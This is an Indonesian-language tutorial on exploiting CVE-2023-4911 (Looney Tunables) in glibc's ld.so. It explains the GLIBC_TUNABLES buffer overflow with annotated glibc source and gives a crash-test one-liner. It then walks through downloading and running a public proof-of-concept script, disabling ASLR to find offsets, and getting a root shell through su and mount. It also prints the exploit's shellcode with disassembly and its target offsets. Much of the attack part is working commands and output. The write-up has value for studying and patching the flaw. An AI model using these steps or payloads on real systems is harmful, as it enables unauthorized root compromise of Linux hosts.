Lokakarya Looney Tunables Peningkatan hak istimewa lokal (CVE-2023-4911) (untuk tujuan pendidikan saja)
Dalam komputasi, linker dinamis adalah bagian dari sistem operasi yang memuat dan menghubungkan pustaka bersama yang diperlukan oleh file yang dapat dieksekusi saat dijalankan, dengan menyalin konten pustaka dari penyimpanan persisten ke RAM, mengisi tabel lompat, dan merelokasi pointer.
Misalnya, kami memiliki program yang menggunakan perpustakaan openssl untuk menghitung hash md5:
$ head md5_hash.c
#include <stdio.h>
#include <string.h>
#include <openssl/md5.h>
ld.so mem-parsing biner dan mencoba menemukan perpustakaan yang terkait dengan <openssl/md5.h>
$ ldd md5_hash
linux-vdso.so.1 (0x00007fffa530b000)
libcrypto.so.3 => /lib/x86_64-linux-gnu/libcrypto.so.3 (0x00007f19cda00000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f19cd81e000)
/lib64/ld-linux-x86-64.so.2 (0x00007f19ce032000)
Seperti yang bisa kita lihat, ia menemukan perpustakaan kripto yang diperlukan di /lib/x86_64-linux-gnu/libcrypto.so.3 Selama startup program, ia memasukkan kode perpustakaan ini ke dalam RAM proses dan menghubungkan semua referensi ke perpustakaan ini.
Ketika sebuah program dimulai, pemuat ini pertama-tama memeriksa program tersebut untuk menentukan perpustakaan bersama yang diperlukan. Ia kemudian mencari pustaka-pustaka ini, memuatnya ke dalam memori, dan menghubungkannya dengan pustaka yang dapat dieksekusi pada waktu proses. Dalam prosesnya, pemuat dinamis menyelesaikan referensi simbol, seperti referensi fungsi dan variabel, memastikan bahwa semuanya sudah diatur untuk eksekusi program. Mengingat perannya, pemuat dinamis sangat sensitif terhadap keamanan, karena kodenya berjalan dengan hak istimewa yang lebih tinggi ketika pengguna lokal meluncurkan program set-user-ID atau set-group-ID.
Tunables adalah fitur di Perpustakaan GNU C yang memungkinkan pembuat aplikasi dan pengelola distribusi mengubah perilaku perpustakaan runtime agar sesuai dengan beban kerja mereka. Ini diimplementasikan sebagai satu set saklar yang dapat dimodifikasi dengan cara yang berbeda. Metode default saat ini untuk melakukan hal ini adalah melalui variabel lingkungan GLIBC_TUNABLES dengan menyetelnya ke string pasangan nama=nilai yang dipisahkan titik dua. Misalnya, contoh berikut mengaktifkan pemeriksaan malloc dan menetapkan ambang trim malloc menjadi 128 byte:
GLIBC_TUNABLES=glibc.malloc.trim_threshold=128:glibc.malloc.check=3
export GLIBC_TUNABLES
Meneruskan --list-tunables ke pemuat dinamis untuk mencetak semua merdu dengan nilai minimum dan maksimum:
$ /lib64/ld-linux-x86-64.so.2 --list-tunables
glibc.rtld.nns: 0x4 (min: 0x1, max: 0x10)
glibc.elision.skip_lock_after_retries: 3 (min: 0, max: 2147483647)
glibc.malloc.trim_threshold: 0x0 (min: 0x0, max: 0xffffffffffffffff)
glibc.malloc.perturb: 0 (min: 0, max: 255)
glibc.cpu.x86_shared_cache_size: 0x100000 (min: 0x0, max: 0xffffffffffffffff)
glibc.pthread.rseq: 1 (min: 0, max: 1)
glibc.cpu.prefer_map_32bit_exec: 0 (min: 0, max: 1)
glibc.mem.tagging: 0 (min: 0, max: 255)
Pada awal eksekusinya, ld.so memanggil __tunables_init() untuk menjelajahi lingkungan (pada baris 279), mencari variabel GLIBC_TUNABLES (pada baris 282); untuk setiap GLIBC_TUNABLES yang ditemukan, ia membuat salinan variabel ini (pada baris 284), memanggil parse_tunables() untuk memproses dan membersihkan salinan ini (pada baris 286), dan terakhir mengganti GLIBC_TUNABLES asli dengan salinan yang telah dibersihkan ini (pada baris 288 ):
// (GLIBC ld.so sources in ./glibc-2.37/elf/dl-tunables.c)
269 void
270 __tunables_init ( char * * envp )
271 {
272 char * envname = NULL ;
273 char * envval = NULL ;
274 size_t len = 0 ;
275 char * * prev_envp = envp ;
...
279 while (( envp = get_next_env ( envp , & envname , & len , & envval ,
280 & prev_envp )) != NULL )
281 {
282 if ( tunable_is_name ( "GLIBC_TUNABLES" , envname )) // searching for GLIBC_TUNABLES variables
283 {
284 char * new_env = tunables_strdup ( envname );
285 if ( new_env != NULL )
286 parse_tunables ( new_env + len + 1 , envval ); //
287 /* Put in the updated envval. */
288 * prev_envp = new_env ;
289 continue ;
290 } Argumen pertama parse_tunables() (tunestr) menunjuk ke salinan GLIBC_TUNABLES yang akan segera dibersihkan, sedangkan argumen kedua (valstring) menunjuk ke variabel lingkungan GLIBC_TUNABLES asli (dalam tumpukan). Untuk membersihkan salinan GLIBC_TUNABLES (yang harus dalam bentuk "tunable1= aaa:tunable2=bbb" ), parse_tunables() menghapus semua merdu berbahaya (sXID_ERASE merdu) dari tunestr, namun tetap mempertahankan SXID_IGNORE dan NONE merdu (pada baris 221- 235):
// (GLIBC ld.so sources in ./glibc-2.37/elf/dl-tunables.c)
162 static void
163 parse_tunables ( char * tunestr , char * valstring )
164 {
...
168 char * p = tunestr ;
169 size_t off = 0 ;
170
171 while (true)
172 {
173 char * name = p ;
174 size_t len = 0 ;
175
176 /* First, find where the name ends. */
177 while ( p [ len ] != '=' && p [ len ] != ':' && p [ len ] != ' ' )
178 len ++ ;
179
180 /* If we reach the end of the string before getting a valid name-value
181 pair, bail out. */
182 if ( p [ len ] == ' ' )
183 {
184 if ( __libc_enable_secure )
185 tunestr [ off ] = ' ' ;
186 return ;
187 }
188
189 /* We did not find a valid name-value pair before encountering the
190 colon. */
191 if ( p [ len ] == ':' )
192 {
193 p += len + 1 ;
194 continue ;
195 }
196
197 p += len + 1 ;
198
199 /* Take the value from the valstring since we need to NULL terminate it. */
200 char * value = & valstring [ p - tunestr ];
201 len = 0 ;
202
203 while ( p [ len ] != ':' && p [ len ] != ' ' )
204 len ++ ;
205
206 /* Add the tunable if it exists. */
207 for ( size_t i = 0 ; i < sizeof ( tunable_list ) / sizeof ( tunable_t ); i ++ )
208 {
209 tunable_t * cur = & tunable_list [ i ];
210
211 if ( tunable_is_name ( cur -> name , name ))
212 {
...
219 if ( __libc_enable_secure )
220 {
221 if ( cur -> security_level != TUNABLE_SECLEVEL_SXID_ERASE )
222 {
223 if ( off > 0 )
224 tunestr [ off ++ ] = ':' ;
225
226 const char * n = cur -> name ;
227
228 while ( * n != ' ' )
229 tunestr [ off ++ ] = * n ++ ;
230
231 tunestr [ off ++ ] = '=' ;
232
233 for ( size_t j = 0 ; j < len ; j ++ )
234 tunestr [ off ++ ] = value [ j ];
235 }
236
237 if ( cur -> security_level != TUNABLE_SECLEVEL_NONE )
238 break ;
239 }
240
241 value [ len ] = ' ' ;
242 tunable_initialize ( cur , value );
243 break ;
244 }
245 }
246
247 if ( p [ len ] != ' ' )
248 p += len + 1 ;
249 }
250 }Sayangnya, jika variabel lingkungan GLIBC_TUNABLES berbentuk "tunable1=tunable2=AAA" (dengan "tunable1" dan "tunable2" adalah merdu SXID_IGNORE, misalnya "glibc.malloc.mxfast"), maka:
selama iterasi pertama "sementara (benar)" di parse_tunables(), seluruh "tunable1=tunable2=AAA" disalin di tempat ke tunestr (pada baris 221-235), sehingga memenuhi tunestr;
pada baris 247-248, p tidak bertambah (p[len] adalah ' ' karena tidak ada ':' yang ditemukan pada baris 203-204) dan oleh karena itu p masih menunjuk ke nilai "tunable1", yaitu "tunable2= AAA";
selama iterasi kedua dari "sementara (benar)" di parse_tunables(), "tunable2=AAA" ditambahkan (seolah-olah itu adalah merdu kedua) ke tunestr (yang sudah penuh), sehingga tunestr meluap.
Memerintah:
$ env -i " GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A " " Z= ` printf ' %08192x ' 1 ` " /usr/bin/su --help
Segmentation fault (core dumped)Muatan:
GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A Z=000000000000000000000000000000000000000000000000000000000000000000000000000000000000<SNIP>00000000000000000001
Panjang -> 8236 byte
Kerentanan ini adalah buffer overflow yang sederhana, tetapi apa yang harus kita timpa untuk mencapai eksekusi kode arbitrer? Buffer yang kita overflow dialokasikan pada baris 284 oleh tunables_strdup(), implementasi ulang dari strdup() yang menggunakan __minimal_malloc() dari ld.so dan bukan malloc() dari glibc (tentu saja, malloc() dari glibc belum diinisialisasi ). Implementasi __minimal_malloc() ini hanya memanggil mmap() untuk mendapatkan lebih banyak memori dari kernel.
Mari kita lihat kode ini:
56 struct link_map *
57 _dl_new_object ( char * realname , const char * libname , int type ,
58 struct link_map * loader , int mode , Lmid_t nsid )
59 {
..
84 struct link_map * new ;
85 struct libname_list * newname ;
..
92 new = ( struct link_map * ) calloc ( sizeof ( * new ) + audit_space
93 + sizeof ( struct link_map * )
94 + sizeof ( * newname ) + libname_len , 1 );
95 if ( new == NULL )
96 return NULL ;
97
98 new -> l_real = new ;
99 new -> l_symbolic_searchlist . r_list = ( struct link_map * * ) (( char * ) ( new + 1 )
100 + audit_space );
101
102 new -> l_libname = newname
103 = ( struct libname_list * ) ( new -> l_symbolic_searchlist . r_list + 1 );
104 newname -> name = ( char * ) memcpy ( newname + 1 , libname , libname_len );
105 /* newname->next = NULL; We use calloc therefore not necessary. */ ld.so mengalokasikan memori untuk struktur link_map ini dengan calloc(), dan oleh karena itu tidak secara eksplisit menginisialisasi berbagai anggotanya ke nol; ini adalah optimasi yang masuk akal. Seperti disebutkan sebelumnya, calloc() di sini bukanlah calloc() glibc tetapi __minimal_calloc() ld.so, yang memanggil __minimal_malloc() tanpa secara eksplisit menginisialisasi memori yang dikembalikannya ke nol; ini juga merupakan optimasi yang masuk akal, karena untuk semua maksud dan tujuan __minimal_malloc() selalu mengembalikan sebagian memori mmap() yang bersih, yang dijamin akan diinisialisasi ke nol oleh kernel.
Sayangnya, buffer overflow di parse_tunables() memungkinkan kita untuk menimpa memori bersih mmap() dengan byte bukan nol, sehingga menimpa pointer struktur link_map yang akan segera dialokasikan dengan nilai non-NULL. Hal ini memungkinkan kita untuk sepenuhnya mematahkan logika ld.so, yang mengasumsikan bahwa pointer ini adalah NULL.
Kami menyadari bahwa lebih banyak pointer dalam struktur link_map tidak diinisialisasi secara eksplisit ke NULL; khususnya, pointer ke struktur Elf64_Dyn di array pointer l_info[] . Diantaranya,
l_info[DT_RPATH], "jalur pencarian perpustakaan", langsung menonjol: jika kita menimpa penunjuk ini dan mengontrol di mana dan apa yang ditunjuknya, maka kita dapat memaksa ld.so untuk memercayai direktori yang kita miliki, dan oleh karena itu untuk memuat perpustakaan libc.so.6 atau LD_PRELOAD kita sendiri dari direktori ini, dan mengeksekusi kode arbitrer (sebagai root, jika kita menjalankan ld.so melalui program SUID-root).
Ke mana arah
l_info[DT_RPATH]yang ditimpa? Jawaban mudah untuk pertanyaan ini adalah: tumpukan; lebih tepatnya, lingkungan kita berada dalam tumpukan. Di Linux, tumpukan diacak di wilayah 16GB, dan string lingkungan kita dapat menempati hingga 6MB (_STK_LIM / 4 * 3, di bprm_stack_limits() kernel): setelah 16GB / 6MB = 2730 percobaan, kita memiliki peluang bagus untuk menebak alamat string lingkungan kami (dalam eksploitasi kami, kami selalu menimpal_info[DT_RPATH]dengan 0x7ffdfffff010, pusat wilayah tumpukan acak). Dalam pengujian kami, kekerasan ini memerlukan waktu ~30 detik di Debian, dan ~5m di Ubuntu dan Fedora (karena penangan kerusakan otomatisnya, Apport dan ABRT; kami belum mencoba mengatasi perlambatan ini).
Apa yang dimaksud dengan l_info[DT_RPATH] yang ditimpa? Dalam eksploitasi kami, kami cukup mengisi 6MB string lingkungan kami dengan 0xfffffffffffffff8 (-8), karena pada offset -8B di bawah tabel string dari sebagian besar program root SUID, string "x08" muncul: ini memaksa ld.so untuk mempercayai direktori relatif bernama "x08" (di direktori kerja kami saat ini), dan oleh karena itu memungkinkan kami memuat dan mengeksekusi pustaka libc.so.6 atau LD_PRELOAD kami sendiri dari direktori ini, sebagai akar.
Skema:
Saya menggunakan snapshot kali linux lama saya untuk menguji PoC. Mari kita periksa apakah itu rentan:
[~/cve]$ env -i " GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A " " Z= ` printf ' %08192x ' 1 ` " /usr/bin/su --help
[1] 7995 segmentation fault env -i " GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A " /usr/bin/sKami mendapat SIGSEGV, jadi sistem kami rentan terhadap CVE LPE ini!
Mari unduh skrip PoC dan uji:
[~/cve]$ wget -q https://haxx.in/files/gnu-acme.py
[~/cve]$ python3 gnu-acme.py
$$$ glibc ld.so (CVE-2023-4911) exploit $$$
-- by blasty <[email protected]> --
[i] libc = /lib/x86_64-linux-gnu/libc.so.6
[i] suid target = /usr/bin/su, suid_args = ['--help']
[i] ld.so = /lib64/ld-linux-x86-64.so.2
[i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3
[i] __libc_start_main = 0x27700
[i] using hax path b'x08' at offset -8
[i] wrote patched libc.so.6
error: no target info found for build id e664396d7c25533074698a0695127259dbbf56f3
Jadi, build id ld.so kita tidak ada dalam daftar target, yuk diperbaiki! Nonaktifkan ASLR:
[~/cve]$ sudo bash -c " echo 0 > /proc/sys/kernel/randomize_va_space "Periksa lagi:
[~/cve]$ python3 gnu-acme.py
$$$ glibc ld.so (CVE-2023-4911) exploit $$$
-- by blasty <[email protected]> --
[i] libc = /lib/x86_64-linux-gnu/libc.so.6
[i] suid target = /usr/bin/su, suid_args = ['--help']
[i] ld.so = /lib64/ld-linux-x86-64.so.2
[i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3
[i] __libc_start_main = 0x27700
[i] using hax path b'x08' at offset -8
[i] wrote patched libc.so.6
[i] ASLR is not enabled, attempting to find usable offsets
[i] using stack addr 0x7fffffffe10c
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 561
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 562
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 563
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 564
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 565
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 566
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 567
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 568
Jadi, skrip POC kita menemukan beberapa offset yang berguna, mari tambahkan ld.so build id kita dan offset ke skrip: Return ASLR:
[~/cve]$ sudo bash -c " echo 1 > /proc/sys/kernel/randomize_va_space "Mari kita coba skrip PoC lagi:
[~/cve]$ python3 gnu-acme.py
$$$ glibc ld.so (CVE-2023-4911) exploit $$$
-- by blasty <[email protected]> --
[i] libc = /lib/x86_64-linux-gnu/libc.so.6
[i] suid target = /usr/bin/su, suid_args = ['--help']
[i] ld.so = /lib64/ld-linux-x86-64.so.2
[i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3
[i] __libc_start_main = 0x27700
[i] using hax path b'x08' at offset -8
[i] wrote patched libc.so.6
[i] using stack addr 0x7ffe1010100c
.........................................................................................................................................................................................................................................................................................................................................# ** ohh... looks like we got a shell? **
whoami
root
# id
uid=0(root)
Itu berhasil!
Ini juga berfungsi dengan file SUID lainnya:
[~/cve]$ find /usr/bin/ -perm -u=s -type f 2> /dev/null
< SNIP >
/usr/bin/mount
< SNIP > [~/cve]$ python3 gnu-acme.py /usr/bin/mount --help
$$$ glibc ld.so (CVE-2023-4911) exploit $$$
-- by blasty <[email protected]> --
[i] libc = /lib/x86_64-linux-gnu/libc.so.6
[i] suid target = /usr/bin/mount, suid_args = ['--help']
[i] ld.so = /lib64/ld-linux-x86-64.so.2
[i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3
[i] __libc_start_main = 0x27700
[i] using hax path b'x08' at offset -8
[i] wrote patched libc.so.6
[i] using stack addr 0x7ffe10101009
....................................................................................................................................................................................................................................................................................................................................................................................................................................# ** ohh... looks like we got a shell? **
id
uid=0(root)
Pada awal skrip PoC kami memiliki kamus ARCH dengan beberapa arsitektur prosesor (saya hanya menyisakan x86_64 saat saya menggunakannya). Dalam kamus ini kita punya
# This code is written by blasty <[email protected]>, I just commented it to figure it out
# ORIGINAL POC SCRIPT -> https://haxx.in/files/gnu-acme.py
import binascii
# <SNIP>
from shutil import which
unhex = lambda v : binascii . unhexlify ( v . replace ( " " , "" ))
ARCH = {
"x86_64" : {
"shellcode" : unhex (
"31ff6a69580f0531ff6a6a580f056a6848b82f62696e2f2f2f73504889e768726901018134240101010131f6566a085e4801e6564889e631d26a3b580f05"
), # MODIFIED: context.arch = 'amd64'; asm(shellcraft.setuid(0) + shellcraft.setgid(0) + shellcraft.sh()).hex()
"exitcode" : unhex ( "6a665f6a3c580f05" ), # asm(shellcraft.exit(0x66)).hex()
"stack_top" : 0x800000000000 ,
"stack_aslr_bits" : 30 , # https://www.researchgate.net/figure/Comparative-summary-of-bits-of-entropy_tbl3_334618410
}
}Shellcode dibongkar
0 : 31 ff xor edi , edi
2 : 6a 69 push 0x69
4 : 58 pop rax
5 : 0f 05 syscall
7 : 31 ff xor edi , edi
9 : 6a 6a push 0x6a
b: 58 pop rax
c: 0f 05 syscall
e: 6a 68 push 0x68
10 : 48 b8 2f 62 69 6e 2f 2f 2f 73 movabs rax , 0x732f2f2f6e69622f
1a: 50 push rax
1b : 48 89 e7 mov rdi , rsp
1e: 68 72 69 01 01 push 0x1016972
23 : 81 34 24 01 01 01 01 xor DWORD PTR [ rsp ], 0x1010101
2a: 31 f6 xor esi , esi
2c: 56 push rsi
2d: 6a 08 push 0x8
2f: 5e pop rsi
30 : 48 01 e6 add rsi , rsp
33 : 56 push rsi
34 : 48 89 e6 mov rsi , rsp
37 : 31 d2 xor edx , edx
39 : 6a 3b push 0x3b
3b: 58 pop rax
3c: 0f 05 syscallPembongkaran kode keluar
0 : 6a 66 push 0x66
2 : 5f pop rdi
3 : 6a 3c push 0x3c
5 : 58 pop rax
6 : 0f 05 syscallSelanjutnya kita memiliki kamus dengan target (ld.so build id) dan offset buffer overflow-nya
TARGETS = {
"e664396d7c25533074698a0695127259dbbf56f3" : 568
}Lalu, ada banyak fungsi yang diberi nama sesuai fungsinya dan sebagian besar dapat diganti dengan metode dari pustaka pwntools. Jadi menurut saya tidak ada gunanya membahasnya secara detail, kecuali beberapa di antaranya
